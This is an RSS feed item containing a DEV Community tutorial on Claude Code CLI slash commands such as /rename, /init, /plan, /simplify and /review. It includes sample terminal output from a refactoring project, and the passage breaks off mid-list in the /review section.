<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Sebastian</title>
    <description>The latest articles on DEV Community by Sebastian (@admantium).</description>
    <link>https://dev.to/admantium</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F293754%2Fd729fdfe-66dd-4fe7-a2ed-9808c1fcb46d.png</url>
      <title>DEV Community: Sebastian</title>
      <link>https://dev.to/admantium</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/admantium"/>
    <language>en</language>
    <item>
      <title>Claude Code CLI: Conversation Ops and Terminal Configuration</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 09 Jul 2026 05:31:29 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-conversation-ops-and-terminal-configuration-4a0b</link>
      <guid>https://dev.to/admantium/claude-code-cli-conversation-ops-and-terminal-configuration-4a0b</guid>
      <description>&lt;p&gt;Claude Code is the frontier agentic tool for coding. It autonomously creates structured plans with individual tasks to implement complex code changes. Under its hood, it parses user prompts, injects them into pre-configured system prompts, and issues and resolves tool usages to operate on a computers file system.&lt;/p&gt;

&lt;p&gt;This article continues the complete exploration of all Claude Code CLI commands. The particular focus are conversation ops, steering claude’s invocation in the current project, and permisions, fine-grained control how the claude code terminal can access your files.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conversation Ops
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/rename&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Session persistence in Claude Code is implemented by writing JSONL files to specific folder in &lt;code&gt;~/.claude/projects&lt;/code&gt;. The assigned filename is a hash value, which makes it difficult to remember.&lt;/p&gt;

&lt;p&gt;With the &lt;code&gt;/rename&lt;/code&gt; command, you can provide a meaningful name, which is reflected in the file structure too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/rename refactor-to-python
  ⎿  Session renamed to: refactor-to-python

────────────────────────────────────────────────── refactor-to-python ──
❯
────────────────────────────────────────────────────────────────────────
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The association between the custom-name and the session-hash is defined in a global session file. Take a look:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;.claude/sessions/1200.json:1:&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"pid"&lt;/span&gt;:1200,&lt;span class="s2"&gt;"sessionId"&lt;/span&gt;:&lt;span class="s2"&gt;"3a0213a0-5ef4-420c-8d11-1bda03f41a1a"&lt;/span&gt;,&lt;span class="s2"&gt;"cwd"&lt;/span&gt;:&lt;span class="s2"&gt;"/opt/claude"&lt;/span&gt;,&lt;span class="s2"&gt;"startedAt"&lt;/span&gt;:1777104608328,&lt;span class="s2"&gt;"kind"&lt;/span&gt;:&lt;span class="s2"&gt;"interactive"&lt;/span&gt;,&lt;span class="s2"&gt;"entrypoint"&lt;/span&gt;:&lt;span class="s2"&gt;"cli"&lt;/span&gt;,&lt;span class="s2"&gt;"name"&lt;/span&gt;:&lt;span class="s2"&gt;"refactor-to-python"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/init&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every LLM invocation needs context to work on tasks. Claude Codes memory architecture put the canonical &lt;code&gt;CLAUDE.md&lt;/code&gt; file as a permanent context into each session. This command reads the entire working directory, and creates this file as a summary of tis findings. When working on a coding project, it includes the tech stack, architecture, commands and more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/init

● Write&lt;span class="o"&gt;(&lt;/span&gt;CLAUDE.md&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿ &amp;nbsp;Wrote 78 lines to CLAUDE.md
      1 &lt;span class="c"&gt;# CLAUDE.md&lt;/span&gt;
      2
      3 This file provides guidance to Claude Code &lt;span class="o"&gt;(&lt;/span&gt;claude.ai/code&lt;span class="o"&gt;)&lt;/span&gt; when working with code &lt;span class="k"&gt;in &lt;/span&gt;this reposit
        ory.
      4
      5 &lt;span class="c"&gt;## Overview&lt;/span&gt;
      6
      7 skill-convert is a CLI tool that converts skills from Anthropic&lt;span class="s1"&gt;'s skill.sh format to OpenClaw'&lt;/span&gt;s cl
        awhub format. It handles both &lt;span class="nb"&gt;local &lt;/span&gt;filesystem conversions and remote GitHub repository sources.
      8
      9 &lt;span class="c"&gt;## Common Commands&lt;/span&gt;
     … +68 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

● Created CLAUDE.md at /opt/claude/universal-skill-converter/CLAUDE.md. It includes:

  - Commands: dev, build, &lt;span class="nb"&gt;test&lt;/span&gt;, typecheck, lint, format
  - Architecture: Directory tree with descriptions of each module
  - Conversion flow: 6-step process from validation to marker writing
  - Remote sources: How GitHub URLs are detected and handled
  - Error handling: Exit codes and global handlers
  - Dependencies: Key npm packages used
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/plan&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Project size, the number of files and total lines of code, influence how good specific changes are. Although the agentic loop in Claude Code evolves between releases, it is a good idea to plan complex changes a priori.&lt;/p&gt;

&lt;p&gt;This command creates a plan.md file, defining all steps, which then serves as a runbook during execution.&lt;/p&gt;

&lt;p&gt;Here is an example how a refactoring of my universal-skill-converter project from NodeJS to Python could be implemented. Upon starting, the CLI dialogue even renders questions back to the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Refactor this app to python. Write the plan file &lt;span class="s2"&gt;"refactor-to-python.md"&lt;/span&gt;

● I&lt;span class="s1"&gt;'ll help you refactor this app to Python. Let me start by exploring the codebase to
  understand its structure and functionality.

● Explore(Explore main codebase structure)
  ⎿  Done (42 tool uses · 45.7k tokens · 5m 21s)
  (ctrl+o to expand)

  Searched for 3 patterns (ctrl+o to expand)

● Now I understand the codebase completely. Let me create a plan file for refactoring to
  Python.

● Updated plan
  ⎿  /plan to preview

● I have created a comprehensive refactoring plan. Let me confirm a few key design choices with
   you:
──────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────────────────────
←  ☒ CLI Framework  ☐ Interface  ☐ Coverage  ☐ Async I/O  ✔ Submit  →

Should I keep the same package structure and CLI command names?

❯ 1. Yes, identical
     Same commands and arguments for zero friction
  2. Custom names
     Can use better Python naming conventions
  3. Type something.
──────────────────────────────────────────────────────────────────────
  4. Chat about this
  5. Skip interview and plan immediately
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The generated plan file is stored at &lt;code&gt;.claude/plans/&lt;/code&gt;. Here is a summary description ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Here&lt;span class="s1"&gt;'s the plan file for the Python refactoring:

  Plan Summary

  File: /home/node/.claude/plans/serene-waddling-newt.md

  Project: universal-skill-converter - Convert TypeScript CLI tool to Python

  Key Highlights:

  1. Tech Stack:
    - CLI: Click (user-selected)
    - Validation: Pydantic
    - Formatting: Rich
    - Git: GitPython
    - Testing: pytest
  2. Architecture: Modular layered design (CLI → Core → Models → UI)
  3. File Structure: 20+ Python modules organized in:
    - src/cli.py - Entry point
    - src/core/ - 12 core library modules
    - src/models/ - Pydantic models
    - src/ui/ - Output, prompts, logging
    - tests/ - Comprehensive test suite
  4. Migration Phases:
    - Phase 1: Project setup (30 min)
    - Phase 2: Core library migration (4 hours)
    - Phase 3: Main logic (1.5 hours)
    - Phase 4: CLI layer (1.5 hours)
    - Phase 5: Testing (3 hours)
    - Phase 6: Configuration (1 hour)

  Total: ~12 hours
  5. Success Criteria: &amp;gt;70% test coverage, identical CLI interface, 100% test pass rate, type checking passes

  The plan is ready for execution. Would you like me to proceed with implementation?
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and a peek into the first source-code lines.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## Context&lt;/span&gt;

&lt;span class="k"&gt;**&lt;/span&gt;Project&lt;span class="k"&gt;**&lt;/span&gt;: universal-skill-converter - CLI tool &lt;span class="k"&gt;for &lt;/span&gt;converting Anthropic skill.sh format to OpenClaw clawhub format

&lt;span class="k"&gt;**&lt;/span&gt;Current State&lt;span class="k"&gt;**&lt;/span&gt;: TypeScript/Node.js application with 1,460 lines of &lt;span class="nb"&gt;source &lt;/span&gt;code, comprehensive testing, and layered architecture

&lt;span class="k"&gt;**&lt;/span&gt;Refactoring Goal&lt;span class="k"&gt;**&lt;/span&gt;: Port the entire application to Python &lt;span class="k"&gt;while &lt;/span&gt;preserving:
- All functionality &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;and remote conversion&lt;span class="o"&gt;)&lt;/span&gt;
- Security features &lt;span class="o"&gt;(&lt;/span&gt;safe YAML parsing, path sanitization&lt;span class="o"&gt;)&lt;/span&gt;
- Testing coverage &lt;span class="o"&gt;(&lt;/span&gt;94 tests, 100% pass rate&lt;span class="o"&gt;)&lt;/span&gt;
- Architecture patterns &lt;span class="o"&gt;(&lt;/span&gt;layered design, single responsibility&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="c"&gt;## Design Approach&lt;/span&gt;

&lt;span class="c"&gt;### Architecture Pattern: Modular CLI Application&lt;/span&gt;

Following a similar layered approach:
- &lt;span class="k"&gt;**&lt;/span&gt;CLI Layer&lt;span class="k"&gt;**&lt;/span&gt;: Argument parsing and &lt;span class="nb"&gt;command &lt;/span&gt;orchestration
- &lt;span class="k"&gt;**&lt;/span&gt;Core Library&lt;span class="k"&gt;**&lt;/span&gt;: Business logic modules
- &lt;span class="k"&gt;**&lt;/span&gt;Validation Layer&lt;span class="k"&gt;**&lt;/span&gt;: Input validation &lt;span class="o"&gt;(&lt;/span&gt;using pydantic&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="k"&gt;**&lt;/span&gt;UI Layer&lt;span class="k"&gt;**&lt;/span&gt;: Output formatting and user interaction
- &lt;span class="k"&gt;**&lt;/span&gt;Tests&lt;span class="k"&gt;**&lt;/span&gt;: Comprehensive &lt;span class="nb"&gt;test &lt;/span&gt;suite with pytest

&lt;span class="c"&gt;### Tech Stack Decisions&lt;/span&gt;

&lt;span class="k"&gt;**&lt;/span&gt;Core Dependencies&lt;span class="k"&gt;**&lt;/span&gt;:
- &lt;span class="sb"&gt;`&lt;/span&gt;click&lt;span class="sb"&gt;`&lt;/span&gt;: CLI framework &lt;span class="o"&gt;(&lt;/span&gt;similar to commander&lt;span class="o"&gt;)&lt;/span&gt; - User selected
- &lt;span class="sb"&gt;`&lt;/span&gt;pydantic&lt;span class="sb"&gt;`&lt;/span&gt;: Data validation and schemas &lt;span class="o"&gt;(&lt;/span&gt;similar to Zod&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;yaml&lt;span class="sb"&gt;`&lt;/span&gt;: YAML parsing &lt;span class="o"&gt;(&lt;/span&gt;with safe_load&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;rich&lt;span class="sb"&gt;`&lt;/span&gt;: Terminal formatting &lt;span class="o"&gt;(&lt;/span&gt;similar to picocolors + @clack/prompts&lt;span class="o"&gt;)&lt;/span&gt;
- &lt;span class="sb"&gt;`&lt;/span&gt;gitpython&lt;span class="sb"&gt;`&lt;/span&gt;: GitHub operations and repository fetching
- &lt;span class="sb"&gt;`&lt;/span&gt;jinja2&lt;span class="sb"&gt;`&lt;/span&gt;: Optional - &lt;span class="k"&gt;for &lt;/span&gt;template handling &lt;span class="k"&gt;if &lt;/span&gt;needed

...

&lt;span class="c"&gt;## Migration Steps&lt;/span&gt;

&lt;span class="c"&gt;### Phase 1: Project Setup&lt;/span&gt;
1. Create Python project structure
2. Set up pyproject.toml
3. Install dependencies
4. Create basic project skeleton

&lt;span class="c"&gt;### Phase 2: Core Library Migration&lt;/span&gt;
1. &lt;span class="sb"&gt;`&lt;/span&gt;errors.py&lt;span class="sb"&gt;`&lt;/span&gt; - Custom exception classes
2. &lt;span class="sb"&gt;`&lt;/span&gt;path_validator.py&lt;span class="sb"&gt;`&lt;/span&gt; - Path validation
3. &lt;span class="sb"&gt;`&lt;/span&gt;slug.py&lt;span class="sb"&gt;`&lt;/span&gt; - Slug generation
4. &lt;span class="sb"&gt;`&lt;/span&gt;yaml_handler.py&lt;span class="sb"&gt;`&lt;/span&gt; - YAML parsing/writing
5. &lt;span class="sb"&gt;`&lt;/span&gt;filesystem.py&lt;span class="sb"&gt;`&lt;/span&gt; - File system operations
6. &lt;span class="sb"&gt;`&lt;/span&gt;validator.py&lt;span class="sb"&gt;`&lt;/span&gt; - Input validation
7. &lt;span class="sb"&gt;`&lt;/span&gt;transformer.py&lt;span class="sb"&gt;`&lt;/span&gt; - Frontmatter transformation
8. &lt;span class="sb"&gt;`&lt;/span&gt;migrator.py&lt;span class="sb"&gt;`&lt;/span&gt; - File migration
9. &lt;span class="sb"&gt;`&lt;/span&gt;metadata.py&lt;span class="sb"&gt;`&lt;/span&gt; - Metadata generation
10. &lt;span class="sb"&gt;`&lt;/span&gt;marker.py&lt;span class="sb"&gt;`&lt;/span&gt; - Conversion tracking
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/simplify&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command is more akin to a skill. It will launch subagents that check different aspects of the code, like duplication or efficiency, converge on all findings, and start implementing them right away.&lt;/p&gt;

&lt;p&gt;Here is an example run.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;I&lt;span class="s1"&gt;'ll help you simplify the code. Let me first check for changes and then launch the three review agents.

...

● I'&lt;/span&gt;ll launch three review agents to analyze the codebase &lt;span class="k"&gt;for &lt;/span&gt;potential improvements across reuse, quality, and efficiency dimensions.

  Running 3 Explore agents… &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
   ├─ Code reuse review · 1 tool use · 13.8k tokens
   │  ⎿  Read: src/
   ├─ Code quality review · 3 tool uses · 14.6k tokens
   │  ⎿  Searching &lt;span class="k"&gt;for &lt;/span&gt;1 pattern, reading 2 files…
   └─ Efficiency review · 0 tool uses
      ⎿  Initializing…
     &lt;span class="o"&gt;(&lt;/span&gt;ctrl+b to run &lt;span class="k"&gt;in &lt;/span&gt;background&lt;span class="o"&gt;)&lt;/span&gt;
...

● Now I&lt;span class="s1"&gt;'ll aggregate the findings from all three agents and implement the fixes:

...

● Let me start by implementing the high-priority fixes:

  1. First, let'&lt;/span&gt;s create utility functions to reduce code duplication:

● Write&lt;span class="o"&gt;(&lt;/span&gt;src/lib/utils.ts&lt;span class="o"&gt;)&lt;/span&gt;
  ⎿  Wrote 76 lines to src/lib/utils.ts
       1 import &lt;span class="o"&gt;{&lt;/span&gt; promises as fs &lt;span class="o"&gt;}&lt;/span&gt; from &lt;span class="s1"&gt;'fs'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       2 import &lt;span class="o"&gt;{&lt;/span&gt; fileExists, directoryExists &lt;span class="o"&gt;}&lt;/span&gt; from &lt;span class="s1"&gt;'./fs.js'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       3
       4 // JSON file utilities
       5 &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;readJsonFile&amp;lt;T&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;path: string&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;T&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
       6   const content &lt;span class="o"&gt;=&lt;/span&gt; await fs.readFile&lt;span class="o"&gt;(&lt;/span&gt;path, &lt;span class="s1"&gt;'utf-8'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       7   &lt;span class="k"&gt;return &lt;/span&gt;JSON.parse&lt;span class="o"&gt;(&lt;/span&gt;content&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
       8 &lt;span class="o"&gt;}&lt;/span&gt;
       9
      10 &lt;span class="nb"&gt;export &lt;/span&gt;async &lt;span class="k"&gt;function &lt;/span&gt;writeJsonFile&amp;lt;T&amp;gt;&lt;span class="o"&gt;(&lt;/span&gt;path: string, data: T&lt;span class="o"&gt;)&lt;/span&gt;: Promise&amp;lt;void&amp;gt; &lt;span class="o"&gt;{&lt;/span&gt;
     … +66 lines &lt;span class="o"&gt;(&lt;/span&gt;ctrl+o to &lt;span class="nb"&gt;expand&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

...
● The code has been simplified with these key improvements:

  1. Added utility functions &lt;span class="k"&gt;in &lt;/span&gt;src/lib/utils.ts to reduce code duplication
  2. Optimized conversion process with parallel execution using Promise.all
  3. Added filesystem caching to reduce redundant &lt;span class="nb"&gt;stat &lt;/span&gt;calls
  4. Removed unnecessary existence checks &lt;span class="o"&gt;(&lt;/span&gt;TOCTOU anti-patterns&lt;span class="o"&gt;)&lt;/span&gt;
  5. Improved error handling with try-catch blocks
  6. Reduced stringly-typed code with utility functions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/review&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When working on a branch with new features, it is advised to check its impact on the project. Two different operations are possible&lt;/p&gt;

&lt;p&gt;If the current branch does not have any comments from its origin, this command launches general code-quality agents, checking the current source code, and identifying potential changes. Here is an example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Overview

  This commit implements significant code quality and performance improvements across the universal-skill-converter project. The changes focus on reducing code
  duplication, optimizing performance with parallel execution, improving error handling, and maintaining clean code standards.

  Analysis

  ✅ Strengths

  1. Performance Optimization
    - Excellent use of Promise.all&lt;span class="o"&gt;()&lt;/span&gt; to execute steps 5-9 &lt;span class="k"&gt;in &lt;/span&gt;parallel instead of sequentially
    - Added filesystem caching with TTL to reduce redundant &lt;span class="nb"&gt;stat &lt;/span&gt;calls
    - Batched file existence checks with Promise.all&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;validator.ts
  2. Code Quality Improvements
    - Created a comprehensive utils.ts module with reusable utilities
    - Reduced code duplication significantly &lt;span class="o"&gt;(&lt;/span&gt;164 additions vs 61 deletions&lt;span class="o"&gt;)&lt;/span&gt;
    - Better error handling with try-catch blocks instead of manual existence checks
  3. Best Practices
    - Eliminated TOCTOU &lt;span class="o"&gt;(&lt;/span&gt;Time-of-Check-to-Time-of-Use&lt;span class="o"&gt;)&lt;/span&gt; anti-patterns
    - Used proper path construction utilities instead of string concatenation
    - Improved error handling consistency across modules

  ⚠️  Potential Issues

  1. Memory Concerns with Cache
